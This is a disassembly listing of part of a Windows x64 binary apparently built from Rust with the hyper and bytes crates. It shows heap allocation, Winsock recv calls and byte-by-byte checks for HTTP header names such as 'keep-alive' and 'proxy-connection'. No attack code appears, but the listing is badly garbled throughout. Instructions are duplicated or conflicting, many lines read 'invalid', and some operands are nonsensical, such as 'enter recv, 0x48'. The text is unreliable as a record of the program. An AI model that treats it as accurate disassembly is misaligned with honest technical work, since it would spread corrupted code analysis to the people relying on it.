lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x1997b7
add byte [rax - 0x73], cl
or eax, 0x1997b7
mov r8d, 0x2f
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
lea ecx, [0x140204680]
mov r8d, 0x32
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x199775
add byte [rcx - 0x48], al
xor eax, dword [rax]
mov r8d, 0x33
add byte [rax], al
add cl, ch
pop rdx
add dword [rax], eax
add byte [rdi], cl
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x199754
mov r8d, 0x36
jmp 0x14006b070
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
and al, 0x20
and al, 0x20
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x199733
mov r8d, 0x39
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
mov r8d, 0x3a
jmp 0x14006b070
xorps xmm0, xmm0
int1
xchg esi, eax
sbb dword [rax], eax
mov r8d, 0x40
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
mov r8d, 0x41
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
mov r8d, 0x42
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401d3af8]
or eax, 0x4800168b
lea ecx, [0x140204680]
or eax, 0x4800168b
lea ecx, [0x140204680]
mov r8d, 0x45
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401d3af8]
add byte [rax - 0x73], cl
or eax, 0x199670
add byte [rax - 0x73], cl
or eax, 0x199670
mov r8d, 0x46
jmp 0x14006b070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
or eax, 0x199652
mov r8d, 0x49
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401d3af8]
lea rcx, [0x140204680]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401d3af8]
xor edx, edx
xor r10d, r10d
xor r9d, r9d
mov qword [rsi], rdx
mov qword [rsi + 8], r8
mov qword [rsi + 0x10], r10
mov qword [rsi + 0x18], 0
add byte [rax], al
add byte [rax], al
and byte [rdi], cl
adc dword [rsi + 0x30], eax
mov byte [rsi + 0x40], r9b
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [rsi + 0x41], eax
mov dword [rsi + 0x44], ecx
add rsp, 0x60
mov r15, qword [rdx + 8]
mov rdx, qword [rdx]
add r8, r15
lea rcx, [rsp + 0x30]
call fcn.140017350
mov qword [rdi + 8], 0
mov qword [rsp + 0x20], r15
mov rbx, qword [rsp + 0x38]
cmp rbx, r15
sti
sti
jb 0x14006b31d
test r15, r15
je 0x14006b152
invalid
mov rdi, qword ss:[rsp + 0x48]
mov rdi, qword [rsp + 0x48]
test dil, 1
je 0x14006b27e
mov r14, rdi
shr r14, 5
lea rax, [r14 + r15]
add al, 0x3e
mov rcx, rax
mov ecx, eax
shr rcx, 0x3b
jne 0x14006b202
shl rax, 5
shl eax, 5
and edi, 0x1f
or rdi, rax
jmp 0x14006b279
mov r14, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
test dil, 1
je 0x14006b2b0
shr rdi, 5
sub r14, rdi
sub esi, edi
lea r15, [rdi + rbx]
lea edi, [rdi + rbx]
cmp rbx, r12
jne 0x14006b1a1
test r15, r15
je 0x14006b2c8
test r14b, 1
jne 0x14006b2dd
mov rax, r14
or rax, 1
add byte [rax], al
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
test ecx, ecx
jne 0x14006b1cd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
str word [rax - 0x7b]
ror byte [rdi], 0x84
je 0x14006b40b
mov rcx, rax
mov qword [0x140215360], rax
sbb al, byte [rax]
mov r8d, 0x18
je 0x14006b40b
mov rcx, rax
mov qword [0x140215360], rax
sbb al, byte [rax]
sbb al, byte [rax]
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
invalid
add r12, rdi
mov qword [rax], r14
mov qword [rax + 8], r12
mov qword [rax + 0x10], 1
adc byte [rcx], al
add byte [rax], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
add byte [rax], al
lea rcx, [0x140169c10]
add byte [rax], al
lea rcx, [0x140169c10]
lea ecx, [0x140169c10]
jmp 0x14006b2e7
mov r13, qword [rsp + 0x30]
xor byte [rbx + rcx*4 + 0x64], cl
and al, 0x40
mov r12, qword [rsp + 0x40]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
mov ecx, dword [0x140215360]
test rcx, rcx
jne 0x14006b238
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14006b41c
out dx, al
add dword [rax], eax
invalid
str word [rax - 0x7b]
ror byte [rdi], 0x84
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x28
sub byte [rax], al
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14006b41c
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + 1], cl
hlt
add r12, r14
lea rcx, [rbx + r14]
sub r13, r14
shr edi, 2
and edi, 7
mov qword [rax], r13
mov qword [rax + 8], r12
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], 1
mov rdi, rax
invalid
invalid
mov qword [rsp + 0x48], rdi
mov r14, qword [rsp + 0x30]
add r14, r15
mov qword [rsp + 0x30], r14
xor eax, eax
sub rbx, r15
cmovb rbx, rax
cmovb ebx, eax
mov qword [rsp + 0x38], rbx
mov r12, qword [rsp + 0x40]
sub r12, r15
mov qword [rsp + 0x40], r12
and al, 0x40
test dil, 1
test bh, 1
jne 0x14006b16b
mov qword [rsi + 8], r14
mov dword [rsi], eax
jmp 0x14006b30a
lea rcx, [0x1401d3af8]
lea r14, [0x140204680]
lea esi, [0x140204680]
lea esi, [0x140204680]
xor eax, eax
xor r15d, r15d
invalid
invalid
jmp 0x14006b2e7
lea rcx, [0x1401a9370]
mov rax, r14
mov qword [rsp + 0x20], rdi
and al, 0x20
mov rdx, r15
sub rdx, rdi
jb 0x14006b394
add r14, rdi
add esi, edi
mov qword [rsi], rcx
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdx
push rsi
adc byte [rax - 0x77], cl
invalid
invalid
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x28], rbx
and al, 0x20
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
and al, 0x50
lea rax, [0x140144ae0]
mov qword [rsp + 0x58], rax
pop rax
xchg edi, eax
or eax, 0x44894800
and al, 0x58
pop rax
pop rax
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rax, str.cannot_advance_past__remaining_:___
lea eax, [0x1401e17e0]
lea eax, [0x1401e17e0]
and al, 0x70
mov qword [rsp + 0x78], 2
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
mov dword [rsp + 0x80], eax
add byte [rax - 0x39], cl
mov qword [rsp + 0x88], 2
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x70]
and al, 0x70
call fcn.140160e20
mov qword [rsp + 0x28], r15
lea rax, [rsp + 0x20]
lea eax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
and al, 0x50
lea rax, [0x140144ae0]
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
sub byte [rax - 0x77], cl
and al, 0x60
sub byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
push rax
add byte [rax], al
add byte [rax], al
push rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
mov byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_src_body_body.rs
lea rcx, [rsp + 0x70]
and al, 0x70
call fcn.140160e20
mov ecx, 8
add byte [rdx + 0x18], bh
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x28
call fcn.14015d7f0
ud2
invalid
push rbp
push rbx
sub rsp, 0xc8
in al, dx
enter 0, 0
enter 0, 0
mov rdi, rdx
movzx eax, byte [rdx + 0x40]
add al, 0xfe
movzx eax, al
ror byte [rax - 0x73], 0x50
add dword [rbp + 0x31], eax
invalid
cmp al, 6
ror byte [rax - 0x73], 0x50
add dword [rbp + 0x31], eax
sar byte [rsi + rax], 0x4c
cmovb r8, rdx
cmovb r8, rdx
mov rsi, rcx
lea rax, [0x140208b30]
movsxd rcx, dword [rax + r8*4]
add rcx, rax
add ecx, eax
add ecx, eax
jmp rcx
movups xmm0, xmmword [rdi]
adc byte [rdi], al
movups xmm1, xmmword [rdi + 0x10]
sub dword [rsp + 0x80], eax
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rdi + 0x40]
mov qword [rsp + 0x70], rax
jo 0x14006b49b
movups xmm0, xmmword [rdi + 0x20]
adc byte [rdi + 0x20], al
movups xmm1, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0x60], xmm1
and al, 0x50
and al, 0x50
mov rbx, qword [rsp + 0x80]
movzx edi, byte [rsp + 0x88]
mov dh, 0xbc
and al, 0x88
add byte [rax], al
add byte [rax - 0x80], al
cmp bh, 0x14
add byte [rdi], cl
sete al
mov ecx, edi
and cl, 0x7d
jge case.0x140037de3.454
stc
sete r9b
test rbx, rbx
add r8, qword [r8]
add byte [rax], cl
enter 0xffffffffffff840f, 0x45
invalid
test byte [rbp + 3], al
add r8d, dword [r8]
add byte [rax - 0x75], cl
invalid
mov rax, qword [rsi]
mov byte [rax], 1
add byte [rcx], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
invalid
mov ebx, dword [rsi + 0x20]
mov rax, qword [rbx]
adc byte [rdi], cl
sub dword [rsp + 0x30], ecx
and al, 0x30
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0x30]
and al, 0x30
mov rcx, qword [rsi + 0x10]
lea edx, [rax + rdx + 0x25]
mov qword [rcx], rdx
mov rcx, qword [rsi + 0x18]
sbb byte [rax - 0x75], cl
add ecx, dword [rax + 0x3b]
adc dword [rdi], ecx
and edx, 4
add al, 0
invalid
add byte [rax], al
mov r9, qword [rax + 0xb8]
mov rax, qword [rbx]
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
and al, 0x30
movups xmmword [rax + 0xc8], xmm1
movups xmm0, xmmword [rdi]
invalid
movups xmm1, xmmword [rdi + 0x10]
adc byte [rdi + 0x10], cl
sub dword [rsp + 0x60], ecx
movaps xmmword [rsp + 0x50], xmm0
and al, 0x50
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
cmp byte [rax], 0
cmp dword [rax + 0x98], 0
add byte [rax], al
add byte [rdi], cl
jne case.0x140059d16.347
movups xmm0, xmmword [rdi]
sub dword [rsp + 0x30], ecx
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rcx]
lea rdx, [rax + rdx + 0x2a]
mov qword [rcx], rdx
mov dword [rcx], edx
xor eax, 0x4c000004
mov ecx, dword [rax + 0x98]
cwde
add byte [rax], al
invalid
add byte [rax], al
mov r9, qword [rax + 0x98]
test r9, r9
sub byte [rsp + 0x20], al
movaps xmm1, xmmword [rsp + 0x30]
and al, 0x30
movups xmmword [rax + 0xa8], xmm1
add byte [rax], al
movups xmmword [rax + 0x98], xmm0
sbb byte [rax - 0x17000000], 0x36
add dword [rax], eax
add byte [rdi], cl
movzx ebp, byte [rdi]
add byte [rax], al
movzx ebp, byte [rdi]
mov rbx, qword [rdi + 8]
mov r14, qword [rdi + 0x10]
mov rax, qword [rsi + 8]
ror byte [rax - 0x73], 0xd
movabs eax, dword [0x48810463480019d4]
invalid
add al, 0x81
add rax, rcx
invalid
loopne case.0x14005db00.305
invalid
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
adc byte [rdi + 0x10], cl
movaps xmmword [rsp + 0x60], xmm1
and al, 0x60
and al, 0x50
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
cmp byte [rax], 0
cmp byte [rax], al
jne case.0x140059d16.347
mov rbx, qword [rsi + 0x20]
mov rax, qword [rbx]
cmp qword [rax + 0x78], 0
cmp dword [rax + 0x78], 0
mov eax, dword [rsp + 0x30]
and al, 0x30
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rcx]
mov edx, dword [rcx]
lea rdx, [rax + rdx + 0x27]
mov rax, qword [rbx]
add dword [rdx + 3], 0
add byte [rbx + rcx*4 + 0x48], cl
mov byte [rax + 0x48000000], dl
add byte [rax], al
add byte [rax - 0x75], cl
invalid
nop
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x80], cl
mov byte [rax], al
add byte [rax], al
invalid
mov r8, qword [rax + 0x88]
call qword [r9 + reloc.WS2_32.dll_recv]
adc byte [rax - 0x75], cl
add ecx, dword [rdi]
invalid
mov rax, qword [rbx]
sub byte [rsp + 0x20], al
movaps xmm1, xmmword [rsp + 0x30]
sub byte [rsp + 0x30], cl
add byte [rdi], cl
adc dword [rax + 0x78], eax
jmp 0x14006b7ab
movups xmm0, xmmword [rdi]
invalid
adc byte [rdi + 0x10], cl
and al, 0x60
movaps xmmword [rsp + 0x50], xmm0
sub dword [rsp + 0x50], eax
push rax
or byte [rax + 0x15750038], r8b
mov rbx, qword [rsi + 0x20]
and byte [rax - 0x75], cl
add ecx, dword [rax - 0x7d]
cmp qword [rax + 0xd8], 0
je 0x14006b9ef
mov rax, qword [rbx]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rsi]
invalid
mov byte [rax], 1
mov eax, dword [rsp + 0x50]
and al, 0x50
mov eax, dword [rsp + 0x60]
nop
invalid
pop rsi
pop r15
ret
or byte [rax + 0x15750038], r8b
add byte [rbp + 0x15], dh
mov rax, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
or byte [rsi - 0x7d], ah
invalid
invalid
mov rcx, qword [rax]
cmp word [rcx + 0xf8], 0
mov ecx, 0xf8
add byte [rdi], cl
je case.0x14006a935.98
mov rax, qword [rsi]
je case.0x14006a935.98
mov ah, 2
add byte [rax], al
add byte [rcx], al
jmp 0x14006b7ab
mov byte [rax], 1
cmp bpl, 0xa
std
or dh, byte [rdx - 0x43]
jb 0x14006b7ab
jb 0x14006b7ab
mov eax, 0x660d8b48
wait
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
wait
xor edx, edx
mov r8, rbx
add rsp, 0xc8
add esp, 0xc8
fmul dword [rax - 0x7f]
invalid
add esp, 0xc8
enter 0, 0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
and eax, 0xfc813
enter recv, 0x48
add byte [rax - 0x7b], cl
invalid
test rbx, rbx
test ebx, ebx
je 0x14006b835
mov rdi, qword [rsp + 0x88]
mov esp, 0x8824
add byte [rax - 0x75], cl
invalid
invalid
mov byte [rax], al
mov rdx, qword [rsp + 0x90]
xchg esp, eax
and al, 0x90
nop
nop
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov eax, edi
clc
cmp rdx, 0xa
cmp edx, 0xa
je case.0x1400621f6.247
por mm1, qword [rcx + rcx*4 - 7]
jmp 0x14006b881
mov rcx, r15
mov ecx, edi
stc
call fcn.14007ec70
xor al, 0x34
add dword [rax], eax
cmp rdx, 0xa
jne 0x14006b881
cmp byte [rax], 0x6b
jne 0x14006b881
invalid
imul esi, dword [rbp + 0x3a], 0xffffff80
cmp al, byte [rax + 0x75650178]
cmp byte [rax + 1], 0x65
jne 0x14006b881
jne 0x14006b881
xor al, 0x80
cmp byte [rax + 2], 0x65
jne 0x14006b881
invalid
js case.0x14005f6a2.325
jne 0x14006b881
cmp byte [rax + 3], 0x70
js 0x14006b859
jo 0x14006b8cd
jne 0x14006b881
sub byte [rax + 0x752d0478], al
cmp byte [rax + 4], 0x2d
jne 0x14006b881
invalid
js case.0x1400621f6.250
and al, byte [rax + 0x75610578]
cmp byte [rax + 5], 0x61
jne 0x14006b881
invalid
js 0x14006b867
invalid
sbb al, 0x80
cmp byte [rax + 6], 0x6c
invalid
insb byte [rdi], dx
jne 0x14006b881
invalid
cmp byte [rax + 7], 0x69
jne 0x14006b881
invalid
js 0x14006b875
imul esi, dword [rbp + 0x10], 0x76087880
cmp byte [rax + 8], 0x76
js case.0x14006bacd.239
jbe 0x14006b8eb
jne 0x14006b881
or al, byte [rax + 0xf650978]
cmp byte [rax + 9], 0x65
je 0x14006b4d0
test byte [rdi - 4], cl
invalid
invalid
js 0x14006b883
test byte [rdi - 4], cl
cld
invalid
dec dword [rax - 0x7b]
test rbx, rbx
test ebx, ebx
invalid
je 0x14006b8a1
mov rdi, qword [rsp + 0x88]
mov esp, 0x8824
add byte [rax - 0x75], cl
mov byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x90]
xchg esp, eax
and al, 0x90
nop
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rdi
add byte [rax], al
mov rax, rdi
cmp rdx, 0x10
cmp edx, 0x10
adc byte [rdi + rcx - 0x15], dh
je case.0x14006bacd.227
por mm6, qword [rax - 0x77]
jmp 0x14006b911
jo 0x14006b82b
mov ecx, edi
stc
call fcn.14007ec70
enter 0x133, 0
add dword [rax], eax
cmp rdx, 0x10
jne 0x14006b911
cli
adc byte [rbp + 0x63], dh
cmp byte [rax], 0x70
jne 0x14006b911
pop rsi
jo 0x14006b927
pop rsi
cmp byte [rax + 1], 0x72
js 0x14006b8b7
jb 0x14006b92d
jne 0x14006b911
pop rax
cmp byte [rax + 2], 0x6f
js case.0x140061f77.257
outsd dx, dword [rsi]
jne 0x14006b911
push rdx
cmp byte [rax + 3], 0x78
jne 0x14006b911
invalid
js 0x14006b939
cmp byte [rax + 4], 0x79
cmp byte [rax + 4], 0x79
js case.0x14006bacd.285
jns 0x14006b93f
jne 0x14006b911
cmp byte [rax + 5], 0x2d
cmp byte [rax + 5], 0x2d
js 0x14006b8d3
add eax, 0x8040752d
sub eax, 0x78804075
jne 0x14006b911
cmp byte [rax + 6], 0x63
cmp byte [rax + 6], 0x63
js case.0x14007695a.216
invalid
invalid
jne 0x14006b911
cmp al, byte [rax + 0x756f0778]
cmp byte [rax + 7], 0x6f
js 0x14006b8e1
outsd dx, dword [rsi]
jne 0x14006b911
xor al, 0x80
js 0x14006b8e8
cmp byte [rax + 8], 0x6e
outsb dx, byte [rsi]
jne 0x14006b911
cmp byte cs:[rax + 9], 0x6e
cmp byte [rax + 9], 0x6e
js 0x14006b8ef
outsb dx, byte [rsi]
jne 0x14006b911
sub byte [rax + 0x75650a78], al
cmp byte [rax + 0xa], 0x65
jne 0x14006b911
invalid
js 0x14006b8f6
or ah, byte [rbp + 0x75]
jne 0x14006b911
and al, byte [rax + 0x75630b78]
cmp byte [rax + 0xb], 0x63
jne 0x14006b911
invalid
js 0x14006b8fd
invalid
sbb al, 0x80
cmp byte [rax + 0xc], 0x74
jne 0x14006b911
invalid
js case.0x140061f77.293
je 0x14006b96f
invalid
cmp byte [rax + 0xd], 0x69
or eax, 0x80107569
imul esi, dword [rbp + 0x10], 0x6f0e7880
jne 0x14006b911
cmp byte [rax + 0xe], 0x6f
js case.0x14006bacd.277
outsd dx, dword [rsi]
jne 0x14006b911
cmp byte [rax + 0xf], 0x6e
js 0x14006b919
outsb dx, byte [rsi]
je 0x14006b4d0
test byte [rdi + 0x48fffffb], bh
sti
invalid
test rbx, rbx
test ebx, ebx
jne 0x14006b940
cmp dil, 0x43
jne 0x14006b940
invalid
jne 0x14006b940
cmp qword [rsp + 0x60], 8
invalid
jne 0x14006b4d0
invalid
dec dword [rax - 0x75]
mov rax, qword [rsp + 0x58]
and al, 0x58
movabs rcx, 0x7372656c69617274
jb case.0x14006a935.94
imul ebp, dword [rbp + riz*2 + 0x72], 0x8394873
jb 0x14006b9aa
cmp qword [rax], rcx
or byte [rdi], cl
test dword [rax + 0x48fffffb], edx
invalid
dec dword [rax - 0x75]
invalid
invalid
jne 0x14006b4d0
invalid
dec dword [rax - 0x75]
or sil, r8b
add byte [rcx], al
mov rax, qword [rsi + 8]
mov byte [rax], 1
cmp qword [rsp + 0x80], 0
cmp dword [rsp + 0x80], 0
je 0x14006bab7
invalid
mov rax, qword [rsp + 0x90]
add rax, 0x20
invalid
mov dword [rcx], eax
mov rdx, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x20]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
cmp rax, qword [rdx]
jae 0x14006b9d6
movaps xmm0, xmmword [rsp + 0x80]
movaps xmm1, xmmword [rsp + 0x90]
add byte [rax], al
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x90], cl
add byte [rax], al
movaps xmmword [rsp + 0xb0], xmm1
movaps xmmword [rsp + 0xa0], xmm0
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x30], xmm1
and al, 0x30
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x20]
lea eax, [rsp + 0x20]
call fcn.14006d830
jmp 0x14006b7ab
invalid
std
invalid
invalid
cmp byte [rcx + 0x100], 0
jne case.0x140037de3.476
test ebx, esi
cli
invalid
invalid
inc esi
add dword [rax], 0x1000001
add dword [rax], eax
add byte [rcx], al
invalid
mov byte [rcx + 0x100], 1
add ecx, ebp
out 0xfa, eax
invalid
jmp case.0x140037de3.476
adc byte [rdi], al
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
sub dword [rsp + 0x30], ecx
sub dword [rsp + 0x30], ecx
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsi + 0x10]
adc byte [rax - 0x75], cl
adc dword [rax - 0x73], ecx
push rsp
adc byte [rcx], ch
mov qword [rcx], rdx
mov rcx, qword [rsi + 0x18]
mov rax, qword [rbx]
cmp rdx, qword [rcx]
cmp edx, dword [rcx]
add ecx, dword [rax + 0x3b]
adc dword [rbx + 0x45], esi
jae 0x14006ba65
mov r9, qword [rax + 0xd8]
test r9, r9
je case.0x1400696e4.104
lea rcx, [rax + 0xf0]
mov rdx, qword [rax + 0xe0]
mov edx, dword [rax + 0xe0]
mov r8, qword [rax + 0xe8]
call qword [r9 + reloc.WS2_32.dll_recv]
adc byte [rax - 0x75], cl
invalid
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rax + 0xe8], xmm1
movups xmmword [rax + 0xd8], xmm0
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
jmp 0x14006b7ab
cmp byte [rax + 0x100], 0
add dword [rax], eax
add byte [rax], al
jne 0x14006ba75
mov byte [rax + 0x100], 1
add byte [rcx], al
add byte [rax], al
add dword [rax - 0x73], ecx
lea ecx, [rsp + 0x38]
lea rcx, [rsp + 0x38]
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
and al, 0x30
jmp case.0x14005f6a2.280
movzx ecx, word [rdi]
mov rdx, qword [rsi + 0x10]
adc byte [rbx + rcx*4 + 2], cl
add r8, 0x2a
mov qword [rdx], r8
invalid
mov rdx, qword [rsi + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
sbb byte [rax - 0x75], cl
add byte [rbx + rdi + 2], cl
invalid
cmp r8, qword [rdx]
jae 0x14006bad9
mov word [rax + 0xf8], cx
mov dword [rax + 0xf8], ecx
jmp 0x14006b7ab
dec dword [rdi]
movzx eax, byte [rsp + 0x88]
lea rcx, [0x140208b78]
lea ecx, [0x140208b78]
mov dh, 0x84
and al, 0x88
lea ecx, [0x140208b78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add cl, ch
mov esi, edi
invalid
invalid
jmp fcn.14006b962
invalid
cmp byte [rax + 0x100], 0
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
test ebp, eax
jne 0x14006b7ab
cld
invalid
mov byte [rax + 0x100], 1
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add ecx, ebp
jmp 0x14006b7ab
mov ecx, 3
jmp 0x14006bb2d
mov ecx, 6
jmp 0x14006bb2d
movzx ecx, r14b
mov dh, 0xce
test cl, 0xf0
je 0x14006bb2d
lea r8, [0x1401a9578]
lea eax, [0x1401a9578]
pop rdx
ficom dword [rbx]
add byte [rdx + 0xf], bh
mov edx, recv
call fcn.140160f40
sbb byte [rdi + rcx], dl
ud2
mov rax, qword [rsi + 0x10]
mov rdx, qword [rax]
add rdx, rcx
add rdx, 0x27
add edx, 0x27
add edx, 0x27
mov qword [rax], rdx
mov rax, qword [rsi + 0x18]
mov rcx, qword [r15]
cmp rdx, qword [rax]
cmp edx, dword [rax]
cmovs edi, dword [rbx]
adc byte [rbx + 0x2b], dh
cmp edx, dword [rax]
jae 0x14006bb75
inc rdi
add rcx, 0x60
invalid
call fcn.14006e150
invalid
invalid
mov rax, qword [r15]
mov byte [rax + 0x60], bpl
mov byte [rax + 0x60], ch
mov byte [rax + 0x60], ch
mov ecx, dword [rdi]
mov edx, dword [rdi + 3]
push rdi
invalid
push rdi
add ecx, dword [rcx + 0x50896148]
mov dword [rax + 0x61], ecx
mov dword [rax + 0x64], edx
mov qword [rax + 0x68], rbx
pop rax
invalid
mov dword [rax + 0x61], ecx
mov dword [rax + 0x64], edx
mov qword [rax + 0x68], rbx
pop rax
invalid
invalid
pop rax
push 0x7070894c
jo 0x14006bbe0
mov qword [rax + 0x70], r14
jo 0x14006bbe0
jmp 0x14006b7ab
cmp byte [rcx + 0x100], 0
add dword [rax], eax
add byte [rax], al
jne case.0x1400621f6.243
mov byte [rcx + 0x100], 1
add dword [rax], 0x1000001
add byte [rcx], al
add byte [rax], al
add ecx, ebp
pop rdx
cld
jmp case.0x1400621f6.243
invalid
mov eax, 0x26
jmp fcn.14006b962
invalid
invalid
invalid
invalid
add cl, ch
movabs byte [0x36b8fffffd], al
invalid
invalid
mov eax, 0x36
add cl, ch
cwde
std
invalid
invalid
invalid
add cl, ch
cwde
std
invalid
invalid
invalid
mov eax, 0x2c
add byte [rax], al
add cl, ch
jp 0x14006bbe3
jmp fcn.14006b962
invalid
add byte [rax], al
jmp fcn.14006b962
jo 0x14006bbed
invalid
invalid
invalid
invalid
std
invalid
mov eax, 0x3b
jmp fcn.14006b962
invalid
invalid
invalid
add cl, ch
xor al, 0xfd
invalid
invalid
invalid
add byte [rax], al
add cl, ch
invalid
invalid
add cl, ch
or al, 0xfd
invalid
add cl, ch
add bh, ch
invalid
jmp fcn.14006b962
mov eax, 0x32
jmp fcn.14006b962
add cl, ch
invalid
sar ah, 1
invalid
add byte [rax], al
mov eax, 0x22
jmp fcn.14006b962
push rbp
push rbx
sub rsp, 0x1d8
mov rdi, r8
